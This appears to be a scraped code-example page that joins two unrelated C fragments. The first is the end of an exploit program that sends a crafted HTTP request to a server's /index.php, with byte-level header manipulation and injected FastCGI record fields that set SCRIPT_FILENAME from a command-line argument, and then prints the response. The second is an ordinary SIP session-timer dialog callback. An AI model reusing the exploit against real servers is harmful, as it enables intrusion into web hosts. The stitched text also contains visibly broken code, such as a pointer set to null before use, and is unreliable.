	p += sprintf(p, "GET /index.php HTTP/1.1\r\n");
	p += sprintf(p, "Host: %s\r\n", argv[1]);
	p += sprintf(p, "A: A\r\nB: ");

	*p++ = 128;
	*p++ = 0x00;
	*p++ = 0x54;
	*p++ = 0x42;
	*p++ = '\r';
	*p++ = '\n';
	p = 0x00;
	
	p += append_header(p, 0, 4, 1);
	p += append_header(p, 1, 200 , 25079);

	p -= 3631;

	*p++ = 1; // Version
	*p++ = 4; // Type
	*p++ = 0;
	*p++ = 0;

	i = sprintf(tmp, "SCRIPT_FILENAME");
	sprintf(tmp + i, "%s", argv[3]);

	*p++ = 0x00; // Length 
	*p++ = 2 + strlen(tmp); // Length
	*p++ = 0x00; // Padding
	*p++ = 0x10;
	*p++ = i; // name_len
	*p++ = strlen(tmp) - i; // var_len

	memcpy(p, tmp, strlen(tmp));

	p += 3631 - 8 - 2;

	p += append_header(p, 2, 200, 40007);
	p += sprintf(p, "\r\n\r\n");

	write(sock, b, (p - b));

	i = read(sock, b, 0xffff);
	*(b + i) = 0;
	
	printf("%s\n", b);

	free(b);
	close(sock);

	return 0;
}
示例#19
0
/**
 * This callback is called on any response message in the lifespan of
 * the dialog. The callback is called just before the message is
 * copied to pkg memory so it is still mutable.
 *
 * @param did - The dialog structure. The pointer is used as an ID.
 * @param type - The reason for the callback. DLGCB_CONFIRMED
 * @param params - The sst information
 */
static void sst_dialog_response_fwded_CB(struct dlg_cell* did, int type,
		struct dlg_cb_params * params) 
{
	struct sip_msg* msg = params->msg;

	/*
	 * This test to see if the message is a response sould ALWAYS be
	 * true. This callback should not get called for requests. But
	 * lets be safe.
	 */
	if (msg->first_line.type == SIP_REPLY) {
		sst_msg_info_t minfo = {0,0,0,0};
		sst_info_t *info = (sst_info_t *)*(params->param);

		LM_DBG("Dialog seen REPLY %d %.*s\n", 
				msg->first_line.u.reply.statuscode,
				msg->first_line.u.reply.reason.len, 
				msg->first_line.u.reply.reason.s);
		/*
		 * Need to check to see if it is a 422 response. If it is,
		 * make sure our Min-SE: for this dialog is set at least as
		 * large as in the Min-SE: in the reply 422 message. If not,
		 * we will create an INVITE, 422 loop.
		 */
		if (msg->first_line.u.reply.statuscode == 422) {
			if (parse_msg_for_sst_info(msg, &minfo)) {
				LM_ERR("failed to prase sst information for thr 422 reply\n");
				return;
			}
			/* Make sure we do not try to use anything smaller */
			info->interval = MAX(info->interval, minfo.min_se);
			return; /* There is nothing else to do with this */
		}
		/*
		 * We need to get the method this reply is for from the CSEQ
		 * body. The RFC states we can only play with 2XX from the
		 * INVITE or reINVTE/UPDATE.
		 */
		if (!msg->cseq && ((parse_headers(msg, HDR_CSEQ_F, 0) == -1) || !msg->cseq)) {
			LM_ERR("failed to parse CSeq\n");
			return;
		}
		
		/* 2XX replies to INVITES only !*/
		if (msg->first_line.u.reply.statuscode > 199 &&
				msg->first_line.u.reply.statuscode < 300 &&
				(get_cseq(msg)->method_id == METHOD_INVITE ||
						get_cseq(msg)->method_id == METHOD_UPDATE)) {
			if (parse_msg_for_sst_info(msg, &minfo)) {
				LM_ERR("failed to parse sst information for the 2XX reply\n");
				return;
			}
			LM_DBG("parsing 200 OK response %d / %d\n", minfo.supported, minfo.se);
			if (info->supported != SST_UAC) {
					info->supported = (minfo.supported?SST_UAS:SST_UNDF);
			}
			if (minfo.se != 0) {
				if (sst_interval > minfo.min_se)
						info->interval = sst_interval;
				else
						info->interval = MAX(minfo.se, sst_min_se);
				LM_DBG("UAS supports timer\n");
				if (set_timeout_avp(msg, info->interval)) {
					// FIXME: need an error message here
					return;
				}
			}
			else {
				/* no se header found, we want to resquest it. */
				if (info->supported == SST_UAC) {
					char se_buf[80];
					
                                        LM_DBG("UAC supports timer\n");
					LM_DBG("appending the Session-Expires: header to the 2XX reply."
							" UAC will deal with it.\n");
					/*
					 * GOOD! we can just insert the Session-Expires:
					 * header and forward back to the UAC and it will
					 * deal with refreshing the session.
					 */
					if (sst_interval > minfo.min_se)
							info->interval = sst_interval;
					else
							info->interval = MAX(minfo.se, sst_min_se);
					snprintf(se_buf, 80, "Session-Expires: %d;refresher=uac\r\n", 
							info->interval);
					if (append_header(msg, se_buf)) {
						LM_ERR("failed to append Session-Expires header\n");
						return;
					}
					/* Set the dialog timeout HERE */
					if (set_timeout_avp(msg, info->interval)) {
						return;
					}
				}
				else {
					/* We are sunk, uac did not request it, and it
					 * does not support it */
					LM_DBG("UAC and UAS do not support timers!"
							" No session timers for this session.\n");
					/* Disable the dialog timeout HERE */
					if (set_timeout_avp(msg, 0)) {
						return;
					}
				}
			}
		} /* End of 2XX for an INVITE */
	} /* If the msg is a repsonse and not a request */
}